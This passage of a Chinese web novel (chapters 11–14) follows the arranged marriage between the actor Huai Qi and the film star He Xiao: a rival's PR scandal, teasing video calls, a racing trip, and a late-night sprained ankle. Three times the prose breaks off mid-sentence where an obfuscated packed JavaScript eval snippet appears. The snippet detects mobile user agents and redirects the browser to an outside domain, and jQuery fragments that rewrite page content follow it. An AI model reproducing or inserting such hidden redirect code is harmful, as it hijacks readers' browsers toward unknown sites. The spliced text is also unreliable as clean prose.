这下,就连贺崤在他这里唯一留下的关于对电影制作的认真的优点,也消失得荡然无存了。
怀栖淡淡嗯了声,按灭手机,“如果能试镜上,我还是会演的。”
他不会因为卢乐这样的人就放弃演喜欢的角色的机会。
不值得。
当然也不会因为贺崤烦恼。
不值得。
不知道他心底在想什么,闻华默默叹了声气,“行,我会支持你的,到时候要是他欺负你你就联系我……等等,我靠,怀栖,你是不是喜鹊?专门报喜的?说什么就来什么喜事?!”
闻华看着手机,突然激动起来。
“什么?”怀栖被说得莫名其妙。
闻华激动得脸都红了,一手交手机给他看,一边描述:“你刚不是说什么卢乐要演贺崤电影的事吗?现在这事就上热搜了!”
怀栖的心跟着坠了一下。
但闻华这反应,怎么看都像是发生了什么对他们来说的好事。
看着热搜,怀栖唇角逐渐往上扬起。
与此同时,怀栖的手机收到了来自消失了一天一夜的贺崤的消息。
贺崤:[微博链接]
贺崤:[精挑细选的新电影演员表,怀小少爷应该不会再骂我要把电影搞砸了吧?]
贺崤:[委屈.jpg]
11. 第 11 章
贺崤……在委屈什么?
自己也没怎么骂他吧?回想了下自己先前对待贺崤的态度,怀栖逐渐挺直了腰背。
嗯……也……没有在贺崤面前怎么骂他。
就是在心里多骂了几次而已。
贺崤发的那条微博,正是贺崤工作室于两分钟前发布的贺崤新电影演员表一览,也是此刻挂在微博热搜的内容之一。
而另外的内容……是早于该微博仅几分钟的,关于卢乐参演贺崤新电影角色的通稿。
这些通稿明显出自卢乐公关团队之手,将卢乐夸得像是什么实力与外貌并存的演员,参演贺崤新电影一事似乎已经完全定下,连水军都已经开始工作了。
卢乐最近热度确实不小,这些通稿下面还有不少路人。
如果没有贺崤工作室的那条微博,卢乐这波大概能得到不少热度,毕竟贺崤的话题一直属于热门,能参演他的电影,肯定是有实力的,肯定会有不明真相的路人顺藤摸瓜去搜他。
然而贺崤工作室微博一出来,卢乐这些通稿就变成了赤/裸裸的蹭热度。
蹭热度倒也无所谓,贺崤火了这么久,想蹭他热度的人太多了。
但……和贺崤工作室微博一起发出的,还有一封声明,声明贺崤电影选角一向本着公开透明原则,每个角色都是经过贺崤本人和导演团队一并试镜决出,不论名气大小,但坚决抵制任何试图损毁贺崤本人名誉的行为。
这话说得就耐人寻味了。
好像就在公开打卢乐的脸。
但贺崤什么咖位?卢乐又是什么咖位?有必要吗?
再者,双方的通稿前后不过几分钟,要是说贺崤团队盯着卢乐放通稿,那也未免太招笑了。
卢乐粉丝冲过去骂人,结果被贺崤那些战斗粉喷得体无完肤,灰溜溜跑了。
卢乐刚从试镜的地方出来,就被经纪人紧急带走。
保姆车上,卢乐黑着脸翻着那些指向自己的微博言论,“删了!快删了!水军呢!我不是受害人吗!贺崤那边都接了投资为什么出尔反尔!”
“删不了,你以为我不想删?行了冷静点,你给董先生打电话问问他什么情况,贺崤工作室的微博不可能是针对你的,有可能是董先生那边出了什么问题。”卢乐经纪人也头疼得要死,这事肯定是巧合,但坏就坏在两者的通稿是差不多时间发出来的,就像在无形之中嘲讽卢乐,没等卢乐给董先生打电话,经纪人的电话倒是响个不停。
还是接连几个。
卢乐窝在保姆车后排,声音甜腻腻的,一口一个哥哥喊着董先生。
丝毫不在意对面其实是个五十多的老头。
没等他询问电影的事,经纪人就黑着脸示意他挂掉电话。
卢乐:“?”
那头董先生恰好哎了两声,“乐乐啊我这边要开个会,我先挂了啊。”
都没给卢乐反应时间,董先生就直接挂了电话。
卢乐最讨厌被人这样对待,当着董先生的面他只会讨好对方,但现在,他盯着手机咒骂了句老不死的。
“老不死的?现在这老不死的估计都救不了你了。”经纪人冷冷地说:“你的代言掉了。”
不只是代言,还有前短时间定下的剧,包括今天去试镜的剧,明明早就说好只是走个过场,现在居然直接被拒绝了。
这些没了还不算完,现在网上铺天盖地都是卢乐之前在剧组霸凌同组演员的消息!
就算卢乐借着董先生拿了那么多资源,都没得到过这么高的关注。
现在卢乐还真是彻底火了。
卢乐已经完全呆住了。
但董先生的电话……居然打不通了。
“你挂了我一次视频通话。”
宿舍里,怀栖拿着手机弯腰换鞋,闻言,眼皮动了动,看向视频那头的贺崤,淡声:“谁规定一定要接你的视频吗?”
回来的路上,他没回复贺崤消息,倒是贺崤不知道在急什么,路上就给他打了视频电话。
怀栖没接。
闻华在不方便接。
也不想接。
贺崤能一天一夜不回消息,他只是没接视频而已。
不过……看在贺崤发的那些声明的份上,他现在勉强愿意接了。
贺崤轻轻啊了声,单手托着下巴一副没睡醒的模样,“那我现在规定一下?”
怀栖:“……”怀栖用一种看神经病的眼神看他,“你把自己当什么了?”
“当你的合法老公啊。”贺崤笑眯眯的,摆明了又是在胡说八道。
虽然话是没错,但两人不过是塑料婚姻而已,除了一张证,什么关系都没有。
贺崤是怎么好意思把这话说出来的?
在沙发上坐下,正准备把贺崤那张脸缩小,贺崤就又笑着说:“你要是不乐意……”
他当然不乐意!
把贺崤当老公……这种亲密的称呼,只有真心相爱的伴侣之间才能说得出口吧?
“你当我老公也行。”贺崤慢条斯理说着,“怎么样,老—公—?”
还特意拖长了尾音,似乎完全不觉得这话很令人羞耻。
怀栖:“……”
怀栖手一滑,差点直接把手机摔了。
贺崤知道自己在说什么吗?!
双手接着手机,也没来得及把两人画面对换,怀栖红着耳根就骂:“你有病吗贺崤!你要是给我打电话就是为了说这些乱七八糟的话,那我先挂了!”
眼看着他说话声音越来越大,仿佛浑身的毛全都立起来了,耳朵更是红得要命,比见到自己裸着上半身那会儿都红,贺崤这才满意地敛起笑意,“别,有别的事。”
怀栖看都没再继续看他一眼,光吐出一个字:“说。”
“开心了吗?”贺崤目光略过镜头里怀栖偏头姿态下露出来的侧边脖颈,纵然微信视频自带滤镜,但也不难看出这小少爷皮肤白皙,细皮嫩肉,再加上红透的耳朵,衬得皮肤更细腻白嫩。
莫名很想让人在上面留下点什么。
将手边的冰水喝下,见怀栖终于舍得重新舍得看向自己,嘴巴微张,不解地问他:“什么?”
贺崤勾了勾唇角:“没什么,就是问你开心了吗?还在生我的气吗?”
怀栖提起电影的那天,贺崤就去查了电影的事情,他在国外的时候活动频繁,工作太忙,根本没时间管国内的事情,本来也确实不需要他管。
不过这回还真出了点岔子。
卢乐身后那位董文德,正是和贺家曾经合作过的友商,大概是仗着有几分情面在,又被卢乐这个枕边人哄得分不清东南西北了,还真答应卢乐给他在自己的电影里整个配角。
本身是友商,董文德要投资电影贺崤自然是答应的,就是没想到他还往电影筹备部门那边提了个条件,要塞个人进来。
事情自然也是经过了贺崤本人同意……也确实怪他没仔细看国内发过去的文件,那段时间实在是太忙。
不过出尔反尔这种事对贺崤来说算不上什么。
但他也没立马告知董文德这事,而是等着卢乐那边有动静。
怀栖的报复心挺强,就是做的事跟毛毛雨没区别……他总得做点什么。
省得这小少爷老是因为这种小事生自己的气。
生什么气?有什么开心的……但贺崤做的这事,不得不承认确实令他满意。
虽然算不上太在意卢乐抢了自己角色这事,但从小到大,怀栖就没经历过这种被人抢走自己东西的事情,也算是头一遭,小少爷心底自然还是不快的。
现在卢乐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051713|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得到了这样的后果……
确实……有点开心。
怀栖嗯了声,唇角微微往上扬起,“还可以。”
至少这是最近贺崤做过的最让他满意的事情,也能把贺崤晾着他的消息一天一夜的事一笔勾销。
“还可以是什么意思?”就是贺崤这人似乎有点得寸进尺。
怀栖心情好,耐心也跟着好了起来,难得安安分分搭理他:“就是心情还可以的意思,字面意思。”
贺崤低低嗯了声,目光似乎一直落在自己身上,就是不知道他在看什么,怀栖被他看得脸热。
贺崤却依旧不满意他的答案似的,又接着问:“那还生我的气吗?”
这事有这么重要吗?
之前也没见贺崤这么在意这种事,别说在意生不生气的事情,他们连话都不怎么说。
贺崤还是那副不着调的样子,也不知道到底是真的想问还只是随口乱问。
盯着他看了半晌,怀栖哦了声,“一般。”
算不上生气,贺崤还没到那个值得他生气的地步。
但也有那么点吧,因为……怀栖也不知道因为什么。
就是也不知道是不是心情变好了,就连看贺崤这性子都顺眼了几分。
他说完,贺崤低笑了声。
一般?
“你还挺难哄。”怀栖在长辈眼里一直都是备受宠爱的乖孩子,不过那似乎只是他的表象。
怀小少爷看着温顺听话,其实脾气挺倔,脾气也挺大……
不过跟那些游手好闲还大脾气的富二代完全不一样。
他这脾气,大得有些……可爱。
听见这话,脾气大得有些可爱的怀栖瞬间盯死了手机,“谁要你哄了?”
他是什么几岁的小孩儿吗?还要贺崤来哄自己?
贺崤是他什么人吗?还说他难哄……
原本的好心情瞬间变得不美丽,连带着看贺崤都不顺眼起来,也不知道是不是被贺崤烦的,怀栖甚至觉得公寓越来越热了。
不愿再多看贺崤一眼,啪地直接挂断了视频,环顾了一圈才发现宿舍空调居然坏了。
这边小公寓设施比较老旧,除了那张床,怀栖也没换过别的地方,空调之前也一直好好的,现在突然冷风比之前热了不少,这么热的天气,没空调肯定住不下去,怀栖顿时有点怀念自己的家。
但暂时还没法回去住。
他晚上还有别的工作。
工作是闻华给他接的,是一个杂志内封的拍摄,虽然是个名不见经传的小杂志,但也有一小笔酬劳,还是闻华特意给他争取来的,怀栖也不舍得拒绝闻华的好意。
晚些时候,闻华会来接他去做妆造。
可空调坏了也不是事。
就算住过剧组艰难的酒店环境,但也没吃过这种大热天没空调的苦。
正准备去外面酒店待一段时间,顺便叫修空调的人上门,重新拿起手机,怀栖才发现贺崤这个不要脸的家伙居然还给他发了语音。
“爷爷确实给我发过不少消息,比如说……问我有没有联系过你,问我俩睡不睡在一起,让我多关心你联系你不要让你一个人独守空房。”
似乎是在回应他那句关于爷爷的话题。
怀栖的唇角瞬间绷直了。
然而这还没完。
贺崤又发了语音条过来。
有完没完了?
手滑点开,贺崤低沉的含笑的声音回荡在空荡的公寓。
“不过……我在你眼里居然是那种好好听长辈话的好人?怀小少爷对我的印象是不是太好了点?”末了,还带了非常明显笑声。
莫名的,那么点不知道因为什么而生的气,居然消散了。
但……
谁对他印象好了?
12. 第 12 章
晚上杂志拍摄任务并不繁重,杂志那边对怀栖的外形和表现超出预料的满意,居然还直接约定了下周的拍摄。
虽然演技不行,但拍摄这种不需要演技,只需要摆一个冷酷表情的硬照,怀栖也认为自己的表现确实很好,还问摄影师要了几张照片存进了自己手机。
怀小少爷对自己的演技很不满意,但对自己的外表非常满意。
闻华全程跟着他,因为宿舍空调还没修好,结束之后就直接把怀栖送回了酒店,走之前,还叮嘱怀栖注意安全。
试镜结果还没出来,一直到下周的杂志拍摄开始之前,怀栖都没有工作。
闻华离开后,怀栖就回到了久别的家。
回来之前已经提前通知过家里阿姨,、上回离开的时候,怀栖订了新的地毯,现在已经换上了,冷气开得很足,就算光脚踩在毛绒的地毯上也不会热。
舒服地坐在地毯上靠着沙发看演技训练视频,没多久,怀栖接到了姐姐商瑜的视频通话。
怀栖比商瑜小十岁,在怀栖刚出生的时候,商瑜这位才十岁的看着柔柔弱弱的小女生就已经开始展露出了事业型女强人的头角,每天不是在看财经新闻就是在研究家里公司业务。
但怀栖的出生让商家不少人觉得,就算商瑜再怎么表现出自己想继承家产的心思,也终究敌不过二胎是个男孩儿。
不过这群人到底还是想错了。
别说怀栖要和商瑜抢继承权了,姐弟俩年龄差了那么多,关系却意外融洽,商瑜对怀栖几乎到了纵容的地步,怀栖父母一开始还对这种怀栖想要什么商瑜就给什么的行为加以指责,后来也就随着他们去了。
随着年纪的增长,怀栖即使被家里宠着也没有被惯坏,又品学兼优,直接成了商瑜最大的竞争对手,然而怀栖却对家里的生意一点兴趣都没有,用怀栖的话来说就是他不喜欢。
他不喜欢的,谁都不能逼他。
从小到大,怀栖只做自己愿意做的事。
在怀栖成年那天,商瑜正式接手了商家的公司,而怀栖既不用当自己不喜欢的老板,手里还拿着公司不少股份。
一直到现在几年过去,姐弟俩关系依然如初。
视频对面的商瑜将长发利落地盘在脑后,这个时间点还在看文件,见视频接通,她干脆利落长话短说:“过两天有赛车比赛,我托人弄了张门票,我找人帮你送过去还是你自己来我家拿?”
“几号?”见商瑜手边放了份才吃了两口的饺子,怀栖眯了眯眼,“姐,你最近准备减肥?”
“我看起来很需要减肥的样子?”商瑜回想了一下门票时间,是两天之后。
怀栖爱好不多,演戏算一个,赛车也算一个,不过一开始他们还以为怀栖是想自己去开,全家吓得互相推脱着想去给怀栖做心理工作,最后重任还是落到了商瑜头上。
好在怀小少爷这爱好看起来吓人了点,实际上他自己都不敢去开。
只是看比赛而已,一有机会,商瑜就会给他搞来门票。
怀栖双手捧着脸一脸淡然地看着商瑜,“我看你这么晚都没吃完饭,以为你也想抛弃家中老人,进军娱乐圈。”
商瑜:“……”
商瑜:“工作太多没来得及吃,我现在就吃。”
怀栖欣慰地点头,“门票我就不要了,我已经有了。”商瑜那张票的时间,和贺崤给的票是同一天。
商瑜不知道这事,闻言还挺讶异,“你自己搞的?”
怀栖是个非常怕麻烦的人,这种能让别人做的事,他肯定不会自己做,他对看比赛也没有太大的执念,商瑜要是不给他门票,他也不会去。
“贺崤给的。”
提起贺崤,怀栖居然莫名有些别扭。
也不知道是不是因为贺崤说的那句话。
如果他没理解错的话,那句话的意思是贺崤最近频繁联系他,跟爷爷完全没有关系。
那又是因为什么?
两人都冷淡了两年多了,总不能现在贺崤突然想起自己结婚了需要和他培养感情了吧?
这也不在他们结婚的范畴中。
贺崤嘴里说不出一句正经话的样子,也不像是要和他培养感情。
不管贺崤想不想,反正他不想。
怀栖换了个姿势爬到了沙发上坐着,准备不再去想这些。
那头商瑜却皱着眉,“他给你送这玩意?他想干什么?讨好你?贺氏最近确实搞了个大项目,贺谦前段时间还联系过我。”
工作方面的事情怀栖也不理解,只知道他和贺崤结婚之后,两家的生意往来非常密切,这对两家来说都是好事,本身商业联姻的目的就在这里。
贺崤为了家里生意而这么做,怀栖也能理解。
这些日子来贺崤做的那些事,包括卢乐的事情,也有了合理的解释。
但心里不知道为何突然有点发堵。
这种合作跟他又没关系,贺崤找他干什么?就算对他再好点,他也不会去管家里的生意。
但在商瑜面前,怀栖也不能表现出什么。
商瑜本来就很反对这段商业联姻。
怀栖年纪还小,虽然到了适婚年纪,但和贺崤那种老东西比起来,简直就是被老牛吃嫩草。
当然商瑜也不只是针对贺崤,一开始家里有这个念头的时候,商瑜就已经极力反对。
就算怀栖不结婚,那么大一个商家,难道养不起他?
但怀栖本人却接受良好,甚至还主动选了贺崤这个除了脸什么都没有的老玩意儿。
商瑜冷哼了声,还没说点什么,就听怀栖乖乖说:“我们都结婚了,讨好我不是他应该做的吗?他给我送的礼物那么多,这也不是很特殊的东西,前段时间他还给我送了手表,还给我打了钱……”
怀栖不太会说谎,但看得出来他已经尽力了。
商瑜摆了摆手,没戳穿他尽力营造的两人关系和睦的谎言,但还是没忍住打断他,“最近演戏有没有哪里需要我帮忙?”
怀栖一如既往拒绝。
在这种追求自己梦想的路上,怀栖倔得很,拿他没办法,商瑜只能让他有事找自己,随后就因为工作匆匆挂了电话。
屋里很快安静下来,面前的平板上还在放着演技训练视频,怀栖也没太能听进去,一直在发呆。
一直到突兀的消息提示音响起。
解锁看了眼,怀栖又立
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051714|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马熄屏。
贺崤发的,不知道发了什么东西,他也不想看。
但赛车比赛还是要看的。
商瑜那张票还是给怀栖送了过来,因为庄望得知了怀栖要去看比赛的事情,吵着也要去,但他没门路搞票,又怕被他哥知道。
庄望是典型的记吃不记打,上次被他哥带回家也就关了几天禁闭,庄厉工作忙又不在家,一有机会他就跑了出来。
还企图亲自开车带怀栖去现场。
怀栖家车库里有不少车,都是怀栖父母和商瑜送的,还有一辆……似乎是他去年生日的时候贺崤送的,非常土的款式,怀栖一次也没碰过这车。
严肃拒绝了庄望开车的请求,两人最后还是让怀栖家里的司机送了过去。
这种在荒郊野岭建起来的赛场,观众位少得可怜,来看的人非富即贵,没点门路确实搞不着票。
以防万一,怀栖还是戴了帽子口罩。
比赛一共三天,两人在附近贺家的房子临时住了三天,这三天怀栖精神亢奋,睡眠加起来不超过十个小时,庄望比他都兴奋,几乎没怎么合过眼,甚至还在朋友圈发了几张赛场照片,但做了模糊处理。
这种比赛都有保密要求,也不能直接拍场地。
怀栖就发了张喜欢的赛车手的照片,恭喜他拿了冠军,也没忘记屏蔽一众圈内好友。
发完他也没看,他跟庄望约了去喝酒,庆祝夺冠。
怀栖酒量一般,控制着没多喝,倒是庄望喝了一大堆,回去的时候还在耍酒疯,把司机当成自己的初恋女友,疯狂对着对方哭。
司机:……
怀栖冷静地把视频拍了下来,并立马发给了庄望。
等把庄望送走再回家都已经是半夜了,忘记让阿姨提前过来开灯准备,别墅里一片漆黑。
怀栖只能开着手电筒进去,顺便刷了会儿朋友圈回复。
他朋友圈好友不算很多,但评论很多。
商瑜:玩得开心
某不记得什么加上没有一点印象的高中同学:有钱人啊
某当过同学的富二代:靠!我也在啊!早说请你吃饭了,我说庄望那小子怎么突然去看比赛!
闻华:去看电影了?什么时候出的新电影我怎么没什么印象!
还有……贺崤点了个赞。
贺崤居然还看他的朋友圈?
怀栖抿了抿唇当没看见,开了大厅的灯,直接把手机扔在一旁,脱了鞋光脚踩着地面,去找空调遥控。
大厅的地毯收起来了还没铺新的,怀栖走得小心翼翼,余光突然看见一条腿伸出了沙发边缘。
酒喝多了开始出现幻觉了吗?
眯着眼试图让眼前清晰,幻觉却依然没消失,反而又多出另一条腿,随后这两条腿踩在地面上,直立起来。
灯光太刺眼,贺崤伸手挡了一下,半眯着眼看向站在原地不敢再动的怀栖,挑了挑眉。
视线在凝滞的沉默的气氛中触碰,怀栖僵硬地仰起头,率先打破沉默,“你怎么在这?!”
贺崤轻轻啊了声,“你怎么才回来,我等得都睡着了。”
这话怎么听起来一股委屈又怨夫的意思?!
13.第 13 章
谁让他等自己了?
怀栖很快从家里突然出现大活人的惊吓中缓过来,板着一张脸越过贺崤去拿茶几上的遥控,直接无视贺崤散发出的似有若无的怨气,一声不吭。
中央空调打开的瞬间,双腿前突然出现另一条腿,惊悚程度不亚于刚刚发现客厅里多出来另一个人,怀栖瞬间立在原地,举着遥控就要往贺崤腿上砸。
贺崤的腿伸在他前方,像是拦住了他的去路。
遥控器还没脱离手心,贺崤已经率先一步曲起拦路腿,改为用手抓住怀栖手腕。
他就站在怀栖身侧,这样的姿势像是从身后牵住怀栖的手。
挣扎了几下也没能把手腕从贺崤手中拯救出来,怀栖顶着一张愤怒到极致的脸扭头瞪着贺崤,丝毫没察觉这样好像把自己送进了贺崤半敞开的怀里。
贺崤居然还在笑?
有什么好笑的?!
这些天两人根本没联系过,也不算没联系,好几次怀栖和别人聊天的时候都会发现贺崤给自己发了消息,但他一次也没点进去看过。
如果有什么重要的事情,贺崤肯定会直接打电话联系自己。
除此之外,怀栖不想和他联系。
也不是需要在家长面前饰演恩爱夫夫的时候,他也从来不参与家中任何生意,贺崤再多找他,他也不会因此去干涉家里的生意。
至于现在,贺崤为什么会突然出现在家里,喝了点酒怀栖也没有那么多精力去思考,只不过酒精会让人的情绪无限放大,怀栖感觉自己急需一个发泄口。
眼皮垂落下去,怀栖目光落在贺崤手上。
怀小少爷哪怕生气都没有一点威慑力,怕真把人惹恼了,贺崤见好就收,目光从怀小少爷不知道什么时候变得乱糟糟的头发上擦过,柔软的发丝似乎刚刚在他的脖颈处留下了一点痒意,贺崤又低笑了声,正准备松手,手上突然传来刺痛。
眼底的笑意顿住,眼眸里只剩下怀栖低垂的脑袋,毛茸茸乱糟糟的头发,以及暴露出来的白皙细嫩的后颈。
虽然进圈拍戏后吃了不少苦,怀小少爷的皮肤却一如既往的好,恨不得把“我没吃过苦我被养得很好”刻在上面。
不过他平时演戏的时候太低调,根本没人会去注意这点。
贺崤倒是第一次跟他见面的时候就发现了。
手上的刺痛感越来越明显,还带着濡湿,像是被什么柔软的东西碰到,柔软的濡湿感彻底盖过了痛感。
贺崤喉结开始不断滚动,却没有进行任何反抗,由着小少爷用另一只手捧起自己的手,试图用牙齿报复他这种行为,为此,贺崤还松开了原先桎梏住怀栖的那只手。
但怀栖并没有发现。
他现在一门心思只有“咬贺崤发泄情绪”这件事。
怕把人咬出血,怀栖还特意控制着力道,但也没有很控制,感觉要把喝酒后不断攀升的情绪全部都贡献给贺崤。
他也没在意贺崤为什么不挣扎为什么不把自己推开,一直到咬得嘴都开始酸了他才跟扔垃圾似的把贺崤的手扔开,然后伸手揉了揉自己使劲太久而发酸的脸颊,仰起脑袋恶狠狠瞪了贺崤一眼。
贺崤看起来像是被他咬傻了,也不笑了,只面无表情看着他。
和平时嬉皮笑脸的人看着完全不是一个样。
也可能不是咬傻了,而是生气了。
贺崤生什么气!他还没生气呢!
对视几秒,怀栖瞥见贺崤手上那一圈还带着口水的牙印,突然心虚起来,直接扭头就跑上了楼。
还没忘记把房间门锁上。
把自己闷进被子里没多久,怀栖就热得出来找房间的遥控器,再次后悔为什么回来之前忘记提前联系阿姨,这样就能知道贺崤也在这里了,他可能会选择回宿舍住。
不对,这别墅本来就是买来给他的,为什么要他给贺崤让地方?
再说,他上次明明警告过贺崤,不允许贺崤擅自回来,又被拍到了怎么办?
不过他又没咬出血,贺崤至于表情那么凶吗?
怀栖还是第一次见贺崤那副模样。
也不是,贺崤在电影里也演过类似的角色。
但那跟面对面看着是不一样的。
面对面看着,怀栖不喜欢。
不喜欢贺崤那样面无表情看着自己。
虽然贺崤吊儿郎当嬉皮笑脸的时候他也不喜欢。
但那不是一个程度。
大概是睡前想得太多,在酒精作用下连澡都没洗就迷迷糊糊睡过去的怀栖做了个梦。
梦里是他和贺崤第一次见面的场景。
即使是商业联姻,就算选定了联姻对象,也要走一下婚前的仪式感,双方会安排一次正式的见面,就像是相亲那般。
那时候怀栖正在忙着学校毕业的诸多事情,贺崤也很忙,听说他在忙着拍电影,见面的事情一拖再拖,最终还是在双方定下的结婚日期之前见上。
因为贺崤身份的特殊性质,见面地点定在了怀栖家中。
贺崤浑身裹得严实,只露出一双眼睛,但那双眼睛透露出来的本人的性格,和怀栖在照片上看见的并不一样。
一直到贺崤脱下帽子和口罩,含着笑意喊了他一声怀小少爷,怀栖心底的期待像是落空。
他没想过贺崤这人这么表里不一。
明明长着一张那么成熟稳重的脸,却如此吊儿郎当。
他什么情绪都写在脸上,兴致缺缺表现得非常明显,但贺崤还是一如既往在双方父母之间周转,就连对他也都是恰到好处的照顾。
当然也只是浮于表面。
临走之前,两人有了一点单独相处的机会。
怀栖没想过贺崤会突然问他,“怀小少爷是真心愿意跟我结婚的?”
怀栖从小到大做事都是跟随自己心意,家里又处处顺着他来,不愿意的事情自然没人能逼他。
即使贺崤如此表里不一,怀栖还是没想过取消婚约。
至少贺崤那张脸和演技还是在他能接受的范畴之内,怀栖也没想过婚后两人能拥有什么刻骨铭心的爱情,只要保持双方一切和睦,在长辈面前和睦就可以。
也不知道贺崤怎么会问出这种问题,看起来贺崤比他还不情愿接受这份婚姻。
怀栖平静地看着贺崤,淡淡地点头。
也没有多做任何解释。
贺崤突然笑了下,抬起手,怀栖不知道自己为什么会自然而然抓住贺崤的手,然后咬了上去。
外面天都没亮。
怀栖在黑暗里睁开眼睛,手机落在楼下看不到时间,睡醒后还渴得要命。
也不知道贺崤走了没有。
他最好是走了。
楼下的灯都没关,沙发上却依然有人。
沙发不小,但贺崤人高马大缩在上面,看着睡得极其不舒服。
明明又不是没有别的能住的地方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054250|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
捧着水杯轻手轻脚走过去,怀栖抬头看了眼中央空调方向。
楼下的温度会比楼上低许多,除非阿姨特意为了他调到舒适的温度。
但今天没有阿姨调试,怀栖甚至被这冷气冻得有点发抖。
贺崤就穿了件短袖长裤双手环抱在胸前,看不出冷不冷,只能看见他右手大拇指下方那个明显的牙印。
一大圈整整齐齐。
看得怀栖都觉得自己牙齿长得真好。
就是贺崤就这样睡,也不怕冻感冒。
但就算冻感冒了也跟自己没关系,谁让贺崤莫名其妙回来。
在沙发前顿了半晌,正准备起来,沙发上的人却突然动了一下。
怀栖吓了一大跳,后背差点磕在茶几上。
但很快冷静下来。
贺崤并没有醒,他只是翻了个身,从仰躺变成了侧躺,脸也对准了他这边。
呼吸依然平稳。
只是两人突然面对着面,那张在视频里看过很多次的脸骤然在怀栖面前放大。
没有什么多余的表情,鼻梁挺立面容成熟五官深邃。
这人要是不睁开眼不说瞎话,还是能看得下去的。
蹲太久蹲得腿都麻了,起身的时候没有站稳,怀栖的腿摆了他一道,让他脚下打滑,一点容错的机会都没留给他,就让他整个人往前摔过去。
前面是贺崤。
□□碰撞的声音并没有很过分,怀栖上半身撞在贺崤身上,疼痛却是从脚腕处传来。
他的脚扭到了。
连拍戏都没受过伤,却在自家大厅里受了这么严重的伤!
怀栖瞬间疼得眼睛都红了,也顾不上从贺崤身上爬起来,顾不上水杯跟他一起摔进贺崤身上,扭着脑袋就要去看自己的脚。
“怀小少爷这是大半夜投怀送抱?”耳边传来一如既往欠揍的声音,还带着一些不知名的沙哑。
怀栖脑袋没动,压根没搭理他。
贺崤挑了挑眉看着压在自己身上的人。
怀栖人轻,没什么重量,不过摔下来的时候份量可不轻。
虽然贺崤觉浅,早在怀栖下楼的时候就已经醒过来,但他也没料到怀栖会蹲在沙发前看自己睡觉。
怀栖没有出声,他干脆也就没睁眼。
只是没想到怀栖会摔在自己身上。
还把水洒在了自己身上。
但怀小少爷似乎没有一点自觉,依然死死压在他身上。
丝毫没意识到现在这样的姿势有多危险,就跟之前咬自己的手一样危险。
怀栖明明是个非常有分寸的人,也不允许自己随便找他,也不允许自己进他的房间,虽然这个房间是他俩的婚房。
却丝毫不把两人之间的肢体接触当一回事,连看见他半裸的时候都坦坦荡荡。
似乎忘了在他面前的是一个很正常的成年男性。
总不能是真的把他当成叔叔。
那也太糟糕了。
等了一会儿也没见怀栖有什么动静,贺崤闭了闭眼调整自己的呼吸,不得不再度提醒怀栖,“准备今晚在我身上睡了吗?”
回答他的不是怀小少爷的怒目而视,而是微弱的哭腔。
怀栖一张脸惨白,眼睛却红得极度反差,像是被人欺负狠了。
他咬着上唇眼泪要掉不掉地看着贺崤,可怜巴巴吸了吸鼻子,向贺崤求助:“贺崤,我脚扭了。”
14.第 14 章
怀栖没有穿鞋,下半身也只是穿了条不过膝的短裤,露出来的小腿又白又细,皮肤白的人毛发天生稀疏,连腿上筋脉都清晰可见,更别提脚腕突兀地肿起来一片,看着触目惊心。
“没有伤到骨头。”赶来的家庭医生替怀栖简单做了个检查,确认了骨头没有受到伤害,但明天还是得去医院拍个片子。
怀栖能适应拍戏的强度和困难,却受不了一点疼。
小时候不小心撞伤了都能疼哭很久,更别提脚腕扭伤这种钻心的痛,尤其是家庭医生在伤处捏来捏去检查的时候,简直痛上加痛,怀栖痛得大脑都没办法思考,只会下意识地靠在身边人的身上,死死抓着身边人的手臂。
被抓了全程手臂的贺崤也没反抗,等家庭医生离开后才嘶了声,故意笑了声,“你这是准备把我胳膊卸了?”
怀栖还在盯着自己的已经上过药酒的脚腕,空气里全都是药酒的味道,比那天贺崤留下的药酒味都重,闻着令人头晕目眩。
听见不属于自己的声音他终于抽回点自我意识,脑袋动了动分神看向贺崤,原本有些泛红的但一直忍着就算疼得快失去意识都没哭出来的眼睛,在看见贺崤的那一瞬间立马耸搭下去。
绷直的唇角也一并松懈,完全没有了那副在家庭医生面前强装出来的镇定。
贺崤被他看得微微一怔。
还是头一回见怀栖这副模样,包括刚刚怀栖要哭不哭向他求助的时候。
在等家庭医生来的过程中,怀栖一直靠在他身上,似乎完全没管两人之间隔着一层塑料婚姻关系,也没管这段时间对他刻意冷淡的态度。
看得出来是完全疼懵了,头一回表现出对他的依赖,安安静静靠在他身上等医生等了小半个小时。
依赖他的怀栖此刻目光停在自己死死抓着贺崤的手上,似乎才回过神来,片刻后眼皮动了动,“你的胳膊比我的脚还脆弱吗?”他哪来那么大的力气把贺崤胳膊卸了?
再说这本来就是贺崤该受的!
